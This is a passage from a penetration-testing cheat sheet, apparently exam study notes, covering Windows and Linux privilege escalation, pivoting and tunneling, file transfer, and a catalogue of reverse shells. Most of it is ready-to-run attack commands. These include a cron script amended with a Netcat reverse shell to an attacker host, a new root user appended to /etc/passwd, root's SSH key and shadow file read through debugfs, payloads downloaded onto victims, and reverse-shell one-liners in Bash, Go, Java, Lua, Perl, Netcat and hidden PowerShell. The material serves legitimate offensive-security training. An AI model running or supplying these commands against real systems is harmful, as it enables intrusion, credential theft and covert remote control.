python3 json2html.py peass.json peass.html
# (Optional) We could also convert it to PDF.
python3 json2pdf.py peass.json peass.pdf
- Using a quick method within the victim PowerShell
Get-Content winpeas_output.txt | ConvertTo-Html | Out-File winpeas_output.html
7.10.2 PowerUp
PowerUp is a PowerShell script designed to find and exploit privilege escalation vulnerabilities in Windows environments.
Usage
.\powerup.ps1
Examples
- Check for missing patches
.\PowerUp.ps1 -CheckMissingPatches
- Check for unquoted service paths
.\PowerUp.ps1 -UnquotedServicePaths
- Check for writable services
.\PowerUp.ps1 -CheckWritableServices
- Check for scheduled tasks
.\PowerUp.ps1 -ScheduledTasks
- Check for weak file permissions
.\PowerUp.ps1 -WeakFilePermissions
- Check for auto-download binaries
.\PowerUp.ps1 -AutoDownloadBinaries
7.10.3 PowerCat
PowerCat is a PowerShell script that functions similarly to Netcat and can be used for network communication, file transfers, and privilege escalation.
Usage
.\powercat.ps1 -c [target_IP] -p [port] -e [command]
Examples
- Basic reverse shell
.\powercat.ps1 -c [attacker_IP] -p [port] -e powershell.exe
- File transfer
.\powercat.ps1 -c [ATTACKER_IP] -p [PORT] -f [FILE_TO_SEND]
- Port Scanning
.\powercat.ps1 -c [TARGET_IP] -p [PORT] -s
7.10.4 PowerView
PowerView is a PowerShell script for Active Directory (AD) enumeration and post-exploitation tasks.
Usage
.\PowerView.ps1
Examples:
- Get Domain User
.\PowerView.ps1 -Command "Get-NetUser"
- Get Domain Admins
.\PowerView.ps1 -Command 'Get-NetGroup -GroupName "Domain Admins"'
- Find Kerberoastable Accounts
.\PowerView.ps1 -Command 'Get-NetUser -SPN'
- Enumerate Domain Controllers
.\PowerView.ps1 -Command 'Get-NetDomainController'
- Find Shares
.\PowerView.ps1 -Command 'Get-NetShare'
- Check for Delegation
.\PowerView.ps1 -Command 'Get-NetUser -Delegation'
7.10.5 PowerMad
PowerMad is a PowerShell script used to enumerate and exploit Active Directory Domain Services (AD DS) to escalate privileges.
Usage
.\PowerMad.ps1
Examples
- List domain admin groups
.\PowerMad.ps1 -Command "Get-DomainAdminGroup"
- Save output to a file
.\PowerMad.ps1 -Command "Get-DomainAdminGroup" | Out-File -FilePath powermad_output.txt
7.10.6 PrivescCheck
PrivescCheck.ps1 is a PowerShell script that performs a comprehensive check for common privilege escalation vectors on Windows systems.
Usage
.\PrivescCheck.ps1
Examples
- Run PrivescCheck
.\PrivescCheck.ps1
- Save output to a file
.\PrivescCheck.ps1 | Out-File -FilePath privesccheck_output.txt
7.10.7 Seatbelt
Seatbelt is a C# tool that performs various checks to identify privilege escalation opportunities.
Usage
.\Seatbelt.exe
8. Linux Privilege Escalation
8.1 Enumeration
Enumeration Type | Command(s) | Description |
---|---|---|
Current user | id |
Displays user ID, group ID, and privileges of the current user. |
Hostname | hostname |
Shows the name of the system's host. |
OS versions and architecture | cat /etc/issue , cat /etc/os-release , uname -a |
Displays the operating system version, release info, and kernel architecture. |
Running processes | ps aux |
Lists all running processes with their users, CPU usage, and other details. |
Network interfaces, routes, connections, open ports | ip a , ss -anp |
Lists network interfaces, IP addresses, routing tables, and open ports. |
Firewall rules | cat /etc/iptables/rules.v4 |
Displays the current iptables firewall rules (if applicable). |
Scheduled cron tasks | ls -lah /etc/cron* , crontab -l , sudo crontab -l |
Lists scheduled cron jobs for the system and users. |
Installed applications | dpkg -l |
Shows installed packages and versions on Debian-based systems. |
Sensitive writable files (excluding /dev/null ) |
find / -writable -type d 2>/dev/null |
Searches for directories that are writable by the current user. |
In memory passwords | strings /dev/mem -n10 | grep -i PASS |
Displays possible password that are in memory. |
Find sensitive files | locate password | more |
Find possible files with sensitive information. |
Mounted drives | cat /etc/fstab , mount , lsblk |
Lists currently mounted drives and their mount points. |
Device drivers and kernel modules | lsmod , /sbin/modinfo <driver_name> |
Lists loaded kernel modules and displays info about a specific module. |
SUID binaries | find / -perm -u=s -type f 2>/dev/null , sudo -l ,
sudo -i
|
Finds files with the SUID bit set, which could be used to escalate privileges. |
Automated enumeration | Transfer and run unix-privesc-check |
Automates privilege escalation checks on the system. |
8.2 Inspecting Service Footprints
Monitor active processes for passwords and other credentials
watch -n 1 "ps -aux | grep pass"
Sniff passwords on the loopback interface using tcpdump
sudo tcpdump -i lo -A | grep "pass"
8.3 Cron Jobs
- Find CRON Jobs
grep "CRON" /var/log/syslog
or
cat /var/log/cron.log
- Check permissions for the script
ls -lah /path/to/script.sh
- Modify the script to add a reverse shell (in case we have permissions to edit), depending on the case another possible payloads could be added, for example adding a new root user.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [attacker_ip] [listener_port] >/tmp/f" >> /path/to/script.sh
8.4 Password Files
8.4.1 /etc/passwd
The misconfiguration is if we have permissions to edit this file, which we should not have, in which case we will modify it to add a new root user.
- Create the hash
openssl passwd Password123
- Add the hash to the
/etc/passwd
file
# This is just an example using the output of the previous command.
echo"newroot:$6$rounds=656000$6B8ZJQ4aK7G9P/8c$hx0E6ke7zxz1mUMN6LCyRJp2bV5hEE7EowzjEbLXwO6KZV7Ojo0DWg1lzCjLwWg.0tLGfhFe42NnJ8LMtBzD0:0:0:root:/root:/bin/bash">> /etc/passwd
- Switch to the new user
su newroot
# Verify root access
id
8.4.2 /etc/shadow
The misconfiguration is that we should not be able to look the contents of this file, if we can do it then we could see the hashes for the users and crack them.
- Get the hash out.
cat /etc/shadow | grep [root_user] > [root_user]_hash.txt
- Crack the hash
# John The Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt [root_user]_hash.txt
# Hashcat, we need to isolate the hash part, for example from above hash would be: $6$rounds=656000$6B8ZJQ4aK7G9P/8c$hx0E6ke7zxz1mUMN6LCyRJp2bV5hEE7EowzjEbLXwO6KZV7Ojo0DWg1lzCjLwWg.0tLGfhFe42NnJ8LMtBzD0
hashcat -m 1800 [root_user]_hash.txt /usr/share/wordlists/rockyou.txt
- Show the password
# John The Ripper
john --show [root_user]_hash.txt
# Hashcat
hashcat -m 1800 [root_user]_hash.txt /usr/share/wordlists/rockyou.txt --show
8.5 Setuid Binaries and Capabilities
8.5.1 Setuid Binaries
Setuid (Set User ID) binaries are executables that run with the privileges of the file owner, which is often root. Exploiting these binaries can grant elevated access if the binary is misconfigured or vulnerable.
- Find Setuid Binaries:
find / -perm -4000 -type f 2>/dev/null
- Inspect Permissions and Owners:
ls -l $(find / -perm -4000 -type f 2>/dev/null)
- Check for Vulnerabilities:
- Review the setuid binaries for known vulnerabilities.
- Check if they can be exploited by running as a different user.
- Utilize tools like GTFOBins to find specific exploitation techniques for binaries.
8.5.2 Exploiting Setuid Binaries
- Finding the Process ID (PID) of a Running Binary:
ps u -C [binary_name]
- Inspect Credentials of a Running Process:
cat /proc/[PID]/status | grep Uid
- Getting a Reverse Shell Using
find
:
find [directory] -exec [path_to_shell] \;
- Exploit:
# Replace [vulnerable_binary] with the name of the binary you are targeting.
find / -name [vulnerable_binary] -exec /bin/bash -p \;
8.5.3 Capabilities
Linux capabilities allow for finer-grained control over the privileges a process has, which can sometimes be exploited to escalate privileges.
- Enumerate Capabilities:
/usr/sbin/getcap -r / 2>/dev/null
- Inspect a Specific Binary for Capabilities:
getcap [binary_path]
# For example
getcap /usr/bin/nmap
- Adjust Capabilities (Requires root):
setcap [capabilities] [binary_path]
# Example to add CAP_DAC_OVERRIDE to a binary
setcap cap_dac_override=eip /path/to/binary
- Remove Capabilities (Requires root):
setcap -r [binary_path]
# For example
setcap -r /usr/bin/nmap
Useful Resources:
- GTFOBins - A curated list of Unix binaries that can be exploited for privilege escalation.
- Linux Capabilities Documentation - Detailed documentation on Linux capabilities.
8.5.4 Table of Capabilities
Capability Name | Description | Potential Impact |
---|---|---|
CAP_AUDIT_CONTROL | Allows enabling or disabling kernel auditing. | Can be used to disable auditing mechanisms and evade detection. |
CAP_AUDIT_WRITE | Allows writing records to the kernel auditing log. | Can be used to manipulate or inject log entries, potentially covering up malicious activities. |
CAP_BLOCK_SUSPEND | Prevents the system from suspending or hibernating. | Can be used to keep a system awake, which might be useful for long-running attacks or preventing automatic lockdowns. |
CAP_CHOWN | Allows arbitrary changes to file UIDs and GIDs. | Enables changing file ownership, potentially allowing privilege escalation or tampering with critical files. |
CAP_DAC_OVERRIDE | Bypasses file read, write, and execute permission checks. | Provides unrestricted access to files, regardless of permissions, which can be used to access or modify sensitive files. |
CAP_DAC_READ_SEARCH | Bypasses file and directory read and execute permission checks. | Allows reading and searching files and directories that would normally be restricted. |
CAP_FOWNER | Bypasses permission checks on operations that require the filesystem UID of the process to match the UID of the file. | Allows performing actions on files that normally require matching ownership, potentially enabling unauthorized file modifications. |
CAP_IPC_LOCK | Allows locking memory into RAM. | Can be used to prevent critical memory from being swapped out, which may be useful for maintaining persistence or performance in an attack. |
CAP_KILL | Allows sending signals to processes owned by other users. | Can be used to terminate or signal processes belonging to other users, potentially disrupting services or attacking other users' processes. |
CAP_MAC_ADMIN | Allows configuring or changing Mandatory Access Control (MAC) settings. | Provides the ability to alter MAC policies, which could weaken security policies or bypass certain security controls. |
CAP_NET_BIND_SERVICE | Allows binding sockets to privileged ports (ports below 1024). | Enables services to listen on standard ports (e.g., 80, 443) without requiring root privileges, which might be used to disguise malicious services as legitimate ones. |
CAP_NET_RAW | Allows using raw and packet sockets. | Can be used for network sniffing, crafting custom packets, or bypassing network filters and protections. |
CAP_SETGID | Allows changing the GID of a process. | Enables changing the group ID of processes, which can affect group-based permissions and access controls. |
CAP_SETPCAP | Allows transferring and removing capabilities from processes. | Enables modifying the capabilities of running processes, which can be used to escalate privileges or evade detection. |
CAP_SETUID | Allows changing the UID of a process. | Provides the ability to change the user ID of processes, potentially leading to privilege escalation or impersonation. |
8.6 Abusing SUDO
Check what we can run as sudo without password
sudo -l
All Possible SUID to Exploit are available in this page GTFOBins.
Inspect syslog file for process relevant events
grep [process_name] /var/log/syslog
8.7 Kernel Exploitations
This is just a table reference, there are a lot of other possible kernel exploits.
CVE Identifier | Description | Target Kernel Versions | Exploit URL |
---|---|---|---|
CVE-2010-3904 | RDS | Linux Kernel <= 2.6.36-rc8 | Exploit |
CVE-2010-4258 | Full Nelson | Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) | Exploit |
CVE-2012-0056 | Mempodipper | Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) | Exploit |
CVE-2016-5195 | DirtyCow | Linux Kernel <= 3.19.0-73.8 | Exploit 1
Exploit 2 |
CVE-2016-5696 | TCP Remote Code Execution | Linux Kernel 3.6 - 4.7 | Exploit |
CVE-2017-8890 | Race Condition in Linux Kernel | Linux Kernel < 4.11.6 | Exploit |
CVE-2018-8897 | Insecure Use of a Memory Barrier | Linux Kernel 3.14 - 4.15 | Exploit |
CVE-2019-7304 | Race Condition in OverlayFS | Linux Kernel 4.10 - 4.15 | Exploit |
CVE-2021-4034 | PwnKit | Linux Kernel 4.4 - 5.8 | Exploit |
CVE-2020-14386 | Privilege Escalation via OverlayFS | Linux Kernel 4.8 - 5.7 | Exploit |
CVE-2021-3156 | Sudo Privilege Escalation | Sudo versions < 1.9.5p2 | Exploit |
CVE-2021-33034 | Privilege Escalation via the Kernel | Linux Kernel 5.4 - 5.10.4 | Exploit |
CVE-2022-0847 | DirtyPipe | Linux Kernel 5.8 < 5.16.11 | Exploit |
8.8 Wildcard Exploitation
Wildcard exploitation involves leveraging wildcards (*
, ?
, []
)
in file and command operations to gain unauthorized access or perform unintended actions. This section
covers common methods and examples for exploiting wildcards in Linux environments.
8.8.1 Wildcard Basics
- Asterisk (*): Matches any number of characters, including zero.
- Question Mark (?): Matches exactly one character.
- Square Brackets ([]): Matches any one of the enclosed characters.
8.8.2 Exploitation Guide
Since this is a complex exploitation technique, if we find a script, cron jobs, tasks or else for which we can perform wildcard exploitation, we could follow these two guides on how to do it:
8.8.3 Exploiting Wildcards in Command Execution
- Wildcard Expansion in Commands: Wildcards can be used to execute commands on multiple files or directories. This can be exploited if an application or script does not handle wildcards properly.
ls /var/log/*
- Misconfigured Scripts: If a script uses wildcards in a vulnerable way, it can lead to command injection or unintended behavior.
# Example vulnerable script
tar -cvf archive.tar.gz /var/log/*
8.8.4 Exploiting Wildcards in File Operations
- File Creation and Modification: Wildcards can be used to create or modify multiple files if the application or script does not properly sanitize input.
touch /tmp/file_*
- Race Conditions: Wildcards in file operations can be exploited to create race conditions.
# If an attacker can modify files in /etc/, they could exploit the wildcard to overwrite or manipulate critical configuration files.
cp /etc/* /tmp/backup/
8.9 Disk Group Permissions
If checking permissions we found that we belong to the disk group, we can use this guide for accessing the filesystem as root; this should be used to:
- See files and their contents.
- Get a reverse shell.
- Modify permissions to be root.
- Add a new root user account that we could use.
Exploit example
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
8.10 Scripts
8.10.1 LinPEAS
LinPEAS (Linux Privilege Escalation Awesome Script) is used for enumerating potential privilege escalation vectors.
Usage
./linpeas.sh
Output to a file while preserving colors
./linpeas.sh | tee linpeas_output.txt
Convert output file to HTML
# 1. Download file from victim to local Kali, we could use techniques from section 15.
# 2. Convert .txt to .json.
python3 peas2json.py ./linpeas_output.txt peass.json
# 3. Convert .json to .html.
python3 json2html.py peass.json peass.html
# (Optional) We could also convert it to PDF.
python3 json2pdf.py peass.json peass.pdf
8.10.2 LinEnum
LinEnum is a script designed to perform enumeration of information related to privilege escalation on Linux systems.
Usage
./LinEnum.sh
Save output to a file
./LinEnum.sh | tee linenum_output.txt
8.10.3 Unix-privesc-check
Unix-privesc-check is a script that checks for common privilege escalation vectors on Unix-like systems.
Usage
./unix-privesc-check.sh
Save output to a file
./unix-privesc-check.sh | tee unix_privesc_check_output.txt
8.10.4 Checksec
Checksec is a tool that checks various security-related features of the kernel and binaries.
Usage
checksec --all
8.10.5 Peepdf
Peepdf is a tool for analyzing and extracting information from PDF files, which can be used to find potential exploits.
Usage
peepdf.py file.pdf
8.10.6 Exploit Suggester
Usage
python3 exploit-suggester.py
9. Port Redirection and SSH Tunneling
9.1 Port Redirection with Socat
socat -ddd TCP-LISTEN:[listening_local_port_on_dmz],fork TCP:[internal_ip]:[internal_port]
9.2 SSH Local Port Forwarding
ssh -N -L 0.0.0.0:[local_port_on_rev_shell]:[internal_ip_target]:[internal_ip_port] username@internal_host
9.3 SSH Dynamic Port Forwarding
- Setting Up Dynamic Port Forwarding
ssh -N -D 0.0.0.0:[local_socks_proxy_port] username@internal_host
- Configure Proxychains
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 [local_socks_proxy_port]
- Run commands pre-adding
proxychains
# For example
proxychains smbclient -L //internal_ip/ -U username --password=password
9.4 SSH Remote Port Forwarding
ssh -N -R 127.0.0.1:[remote_port_on_ssh_host]:[internal_target_ip]:[internal_target_port] username@remote_host
9.5 SSH Remote Dynamic Port Forwarding
- Setting up the Remote Dynamic Port Forwarding
ssh -N -R [proxychains_port] username@remote_host
- Configure the Proxychains
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 [proxychains_port]
9.6 SSH (Windows)
- Find SSH Location and Version
where ssh
ssh.exe -V
- Connect to a Remote Machine with Dynamic Port Forwarding
ssh -N -R [REMOTE_PORT]:localhost:[LOCAL_PORT] [USER]@[REMOTE_HOST]
- Configure Proxychains on Kali
# Edit /etc/proxychains4.conf and add
[ProxyList]
socks5 127.0.0.1 [REMOTE_PORT]
- Check Open SOCKS Port on Kali
ss -ntplu
9.7 Plink (Windows)
- Start Apache Server on Kali
sudo systemctl start apache2
- Copy
nc.exe
to Apache Webroot
find / -name nc.exe 2>/dev/null
sudo cp [SOURCE_PATH]/nc.exe /var/www/html/
- Download
nc.exe
on Target Using PowerShell
wget -Uri http://[KALI_IP]/nc.exe -OutFile C:\Windows\Temp\nc.exe
- Execute
nc.exe
Reverse Shell on Target
C:\Windows\Temp\nc.exe -e cmd.exe [KALI_IP] [PORT]
- Copy
plink.exe
to Apache Webroot
find / -name plink.exe 2>/dev/null
sudo cp [SOURCE_PATH]/plink.exe /var/www/html/
- Download
plink.exe
on Target Using PowerShell
wget -Uri http://[KALI_IP]/plink.exe -OutFile C:\Windows\Temp\plink.exe
- Create an SSH Connection Using Plink
cmd.exe /c echo y | C:\Windows\Temp\plink.exe -ssh -l [USER] -pw [PASSWORD] -R [LOCAL_PORT]:127.0.0.1:[REMOTE_PORT] [KALI_IP]
- Connect to RDP Server Using
xfreerdp
xfreerdp /u:[USERNAME] /p:[PASSWORD] /v:127.0.0.1:[LOCAL_PORT]
9.8 Netsh (Windows)
- Set Up Port Forwarding with
Netsh
netsh interface portproxy add v4tov4 listenport=[LISTEN_PORT] listenaddress=[LISTEN_IP] connectport=[CONNECT_PORT] connectaddress=[CONNECT_IP]
- Verify Listening Port
netstat -anp TCP | find "[LISTEN_PORT]"
- List Port Forwarding Rules
netsh interface portproxy show all
- Add Firewall Rule to Allow Port
netsh advfirewall firewall add rule name="[RULE_NAME]" protocol=TCP dir=in localip=[LISTEN_IP] localport=[LISTEN_PORT] action=allow
- Connect Using SSH
ssh [USER]@[LISTEN_IP] -p[LISTEN_PORT]
- Delete Firewall Rule
netsh advfirewall firewall delete rule name="[RULE_NAME]"
- Remove Port Forwarding Rule
netsh interface portproxy del v4tov4 listenport=[LISTEN_PORT] listenaddress=[LISTEN_IP]
10. Tunneling Through Deep Packet Inspection
10.1 Ligolo (Direct Subnetting)
10.1.1 Normal Tunneling
Keep in mind that we should have already downloaded the proxy to our attacker machine, and have transfer the agent to the victim.
-
Find the network mask, for example, if your IP address is
X.X.X.X
and the subnet mask isY.Y.Y.Y
, the network will beX.X.X.X/
followed by the subnet prefix. For instance, with a subnet mask of255.255.255.0
, the network prefix would be/24
. -
Create the interface for
ligolo
in my Kali
sudo ip tuntap add user [kali_user] mode tun ligolo
sudo ip link set ligolo up
- Enable the proxy server on the attacker machine
# The option -selfcert is for not using a certificate (this will make our communications in clear text), we do not need to encrypt them for the exam.
./ligolo_proxy_linux -selfcert
or
./ligolo_proxy_linux -selfcert -port <DIFFERENT_PROXY_PORT>
- Download (bring) the agent program to the victim (in this example Windows)
iwr -uri http://[attacker_ip]/ligolo_agent_windows.exe -UseBasicParsing -Outfile ligolo_agent_windows.exe
- Start the client
# The port is the default one, we could also change it if needed.
./ligolo_agent_windows.exe -connect [attacker_ip]:11601 -ignore-cert
or
./ligolo_agent_windows.exe -connect [attacker_ip]:<DIFFERENT_PROXY_PORT> -ignore-cert
- Add the route in the Kali
# Run this command in other terminal that from the one where ligolo proxy is running
sudo ip route add [internal_submask]/24 dev ligolo
# Verify routing table
ip route list
- Finish setting up the tunneling session
# Run this commands in the ligolo proxy terminal
» session
» start
# After this the tunneling should be ready, you could perform any command.
10.1.2 Double Tunneling
In certain cases, the recently compromised host will have two interfaces, enabling you to explore the network further and find more hosts. In this scenario, you'll need to execute a double pivot.
- Add a second interface
sudo ip tuntap add user [kali_user] mode tun ligolo_double
sudo ip link set ligolo_double up
- Create a listener
# The next step is to add a listener on port 11601 to our existing Ligolo session and redirect it to our machine.
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# Verify it’s been added
listener_list
- Connect to the proxy server
# Next, we need to execute the agent on the Windows host to connect to the forwarded port on our attacker machine
./agent.exe -connect <IP of First Pivot Point>:11601 -ignore-cert
-
Verify the connection on Kali by checking if the Windows agent has connected via the forwarded port.
-
Start a tunnel and add a route
# Our last step is to change our session to the second pivot point (Windows), start the tunnel, and then add a route to the newly discovered network at 10.1.30.0/24.
sudo ip add route <New_Network> dev ligolo_double
We’ll be able to interact with the new network from our Kali machine and run all the same tools as we did with the single pivot.
You could continue with a triple pivot using Ligolo, following the same steps as we did with the double pivot.
10.1.3 Reverse Shells From Internal Networks
- Setup the Netcat listener in our Kali
nc -nvlp [kali_port]
- Setup a listener for the reverse shell in the Ligolo session
listener_add --addr 0.0.0.0:[agent_port] --to 127.0.0.1:[kali_port] --tcp
- Run a reverse shell command or a payload created with
msfvenom
[command_to_run_reverse_shell] -L [kali_ip]:[kali_port]
or
./payload.exe
10.1.4 File Transfers From Internal Networks
- Setup a listener in the Ligolo session
listener_add --addr 0.0.0.0:[agent_port] --to 127.0.0.1:[kali_port] --tcp
- Host the file in our Kali
python3 -m http.server [kali_port]
- Download the file on the compromised Windows host
Invoke-WebRequest -Uri "http://[agent_ip]:[agent_port]/[file_name]" -OutFile [file_name]
10.2 Chisel (HTTP Tunneling)
Remember to first transfer the client program to the victim, you can find the programs and guide on how to transfer files in the Section 16.
10.2.1 Port Forwarding
# In remote machine
chisel server -p <listen-port>
# In local machine
chisel client <listen-ip>:<listen-port> <local-port>:<target-ip>:<target-port>
10.2.2 Reverse Port Forwarding
It is useful when we want to access to the host and the port that cannot be directly accessible from local machine.
- Create the forwarding
# In local machine
chisel server -p <LOCAL_PORT> --reverse
# In remote machine
chisel client <LOCAL_IP>:<LOCAL_PORT> R:<LOCAL_FORWARD_PORT>:<REMOTE_IP>:<REMOTE_PORT>
# Replace <LOCAL_PORT> with the port you want Chisel to listen on locally, <LOCAL_IP> with the IP address of your local machine, <LOCAL_FORWARD_PORT> with the port on your local machine to which the remote service will be forwarded, <REMOTE_IP> with the IP address of the remote machine, and <REMOTE_PORT> with the port on the remote machine.
- Access the forwarded service
curl http://localhost:<LOCAL_FORWARD_PORT>
# The result is the content from http://<REMOTE_IP>:<REMOTE_PORT>/
10.2.3 Forward Dynamic SOCKS Proxy
- Create the forwarding
# In remote
chisel server -p <REMOTE_PORT> --socks5
# In local
chisel client <REMOTE_IP>:<REMOTE_PORT> <LOCAL_PORT>:socks
# Replace <REMOTE_PORT> with the port for the SOCKS proxy on the remote machine, <REMOTE_IP> with the IP address of the remote machine, and <LOCAL_PORT> with the port on your local machine where the SOCKS proxy will be available.
- Then modify
/etc/proxychains.conf
in local machine
# Comment out the line of "socks4"
# /etc/proxychains.conf
...
socks5 127.0.0.1 <LOCAL_PORT>
10.2.4 Reverse Dynamic SOCKS Proxy
It is useful when we want to access to the host & multiple ports that cannot be directly accessible from local machine.
- Create the forwarding
# In local machine
chisel server -p <LOCAL_PORT> --reverse
# In remote machine
chisel client <LOCAL_IP>:<LOCAL_PORT> R:<REMOTE_PORT>:socks
# Replace <LOCAL_PORT> with the port you want Chisel to listen on locally, <LOCAL_IP> with the IP address of your local machine, and <REMOTE_PORT> with the port on the remote machine where the SOCKS proxy will be available.
- Then modify
/etc/proxychains.conf
in local machine
# /etc/proxychains.conf
...
socks5 127.0.0.1 <REMOTE_PORT>
- Confirm that we can access the desired host and port with
proxychains
proxychains nmap localhost
10.3 Dnscat2 (DNS Tunneling)
- Start the
dnscat2
server
# Replace [domain] with the chosen domain
dnscat2-server [domain]
- Start the
dnscat2
client
# With domain
./dnscat --secret=[secret] [domain]
# Directly to server
./dnscat --dns server=[attacker_ip],port=53 --secret=[secret]
- Interact with the
dnscat2
client from the server
dnscat2> windows
dnscat2> window -i [session_id]
- Setting up a port forwarding in
dnscat2
command ([session_name]) > listen 127.0.0.1:[local_port] [target_ip]:[target_port]
- Connecting to a service through the
dnscat2
port forward
# Example command
smbclient -p [local_port] -L //127.0.0.1 -U [username] --password=[password]
14. Reports Writing
14.1 Tools
- Sublime.
- CherryTree.
- Obsidian.
- More tools
14.2 Screenshots
- Windows --> Snipping tool:
Windows key + Shift + S
- MacOS --> Built-in functions:
Command key + Shift + [3, 4, 5]
- Kali Linux --> Screenshot: built in app.
- Other application --> Flameshot.
15. Files Transfer
15.1 RDP shared folder
- Using xfreerdp
xfreerdp /compression +auto-reconnect /u:[user] /p:'[password]' /v:[IP] +clipboard /size:1920x1080 /drive:desktop,/home/[your_username]/Desktop
- Using rdesktop
rdesktop -z -P -x m -u [user] -p [password] [IP] -r disk:test=/home/[your_username]/Desktop
15.2 Impacket Tools
- PsExec:
lget
to download from the victim.lput
upload files from the Kali to the victim.
- VmiExec:
lget
to download from the victim.lput
upload files from the Kali to the victim.
- Evil-WinRM:
download [file_name] [optional_file_destination_path]
to download from the victim.upload [file_name] [optional_file_destination_path]
upload files from the Kali to the victim.
15.3 FTP
We need to set the binary mode because with ASCII mode won't work: binary
.
15.4 SMB
- On the attacker Kali machine:
impacket-smbserver [name_we_give_to_this_share] . -smb2support -username my_user -password my_password
- On the victim Windows machine:
net use m: \\[my_kali_IP]\[name_we_gave_to_the_share] /user:my_user my_password
15.5 HTTP Requests
- Set HTTP Server in our Kali
python3 -m http.server 80
(new-object System.Net.WebClient).DownloadFile('http://192.168.119.138:800/chisel.exe','C:\Windows\Tasks\chisel.exe')
- Download in Windows (different options)
# From PowerShell
(New-Object System.Net.WebClient).DownloadFile('http://[kali_IP]/[file_to_download]', '[output_file_name_or_path]')
Invoke-WebRequest -Uri http://[kali_IP]/[file_to_download] -OutFile [output_file_name]
# If `iwr` does not work
certutil -urlcache -split -f http://[kali_IP]/[file_to_download]
# From CMD
powershell -Command "(New-Object Net.WebClient).DownloadFile('http://[kali_IP]/[file_to_download]', '[output_file_name_or_path]')"
15.6 PHP Script (bring files from Windows)
- Create the file
upload.php
in Kali
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
- Move the file to specific folder
var/www/uploads
chmod +x upload.php
sudo mkdir /var/www/uploads
mv upload.php /var/www/uploads
- Start the Apache server
service apache2 start
ps -ef | grep apache
- Send the files from the Windows
powershell (New-Object System.Net.WebClient).UploadFile('http://<your Kali ip>/upload.php', '<file you want to transfer>')
- Stop the Apache server
service apache2 stop
15.7 Netcat
15.7.1 Send a File
- On the receiver machine: Start listening on a specific port and redirect the incoming file to a local file.
nc -lvp 4444 > received_file.txt
# (Optional) If we need to transfer the files over an encrypted connection just attach the --ssl option
ncat --ssl -lvp 4444 > received_file.txt
- On the sender machine: Send the file to the receiver’s IP address on the same port.
nc <receiver_IP> 4444 < file_to_send.txt
# (Optional) If we need to receive the files over an encrypted connection just attach the --ssl option
ncat --ssl <receiver_IP> 4444 < file_to_send.txt
15.7.2 Send a File with Compression
Compressing the file before sending can speed up the transfer:
- On the receiver machine:
nc -lvp 4444 | tar xzvf -
- On the sender machine:
tar czvf - file_or_folder_to_send | nc <receiver_IP> 4444
15.8 Using Base64 Contents
15.8.1 Transferring Base64 via Copy and Paste
Sometimes, you may need to transfer a file by copying and pasting its Base64-encoded contents directly in a terminal session. This method can be useful when you can't transfer files directly, but can transfer text.
- Encode the file and print its Base64-encoded contents in the terminal:
# This will print the Base64 string directly in the terminal, which you can copy manually
base64 file_to_send.txt
- On the receiver machine:
# You can manually paste the Base64-encoded content into a new file
echo "PASTE_BASE64_CONTENTS_HERE" | base64 -d > received_file.txt
15.8.2 Transferring Base64 Contents via Netcat
- On the receiver machine:
nc -lvp 4444 | base64 -d > received_file.txt
- On the sender machine:
base64 file_to_send.txt | nc <receiver_IP> 4444
16. Utilities
16.1 Reverse Shells
16.1.1 Bash
Normal Request
# Direct Bash reverse shell
/bin/bash -i >& /dev/tcp/<TARGET_IP>/<TARGET_PORT> 0>&1
# Add the reverse shell to an existing file
echo '/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' >> file
One-Liners
# FIFO method with Netcat
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <TARGET_IP> <TARGET_PORT> >/tmp/f
# Using 'sh' for reverse shell
sh -i >& /dev/tcp/<TARGET_IP>/<TARGET_PORT> 0>&1
16.1.2 Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","<TARGET_IP>:<TARGET_PORT>");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go
16.1.3 Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<TARGET_IP>/<TARGET_PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
16.1.4 Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('<TARGET_IP>',<TARGET_PORT>);os.execute('/bin/sh -i <&3 >&3 2>&3');"
16.1.5 Netcat
# Using -e
nc <TARGET_IP> <TARGET_PORT> -e /bin/sh
nc -nv <TARGET_IP> <TARGET_PORT> -e /bin/bash
# Without -e option
mkfifo /tmp/f; nc <TARGET_IP> <TARGET_PORT> < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f
# Add the reverse shell to an existing file
echo 'nc [lhost] [lport] -e /bin/bash' >> [file]
16.1.6 Perl
perl -e 'use Socket;$i="<TARGET_IP>";$p=<TARGET_PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
16.1.7 PowerShell
# Main Option
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('<TARGET_IP>', <TARGET_PORT>);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
# Alternative
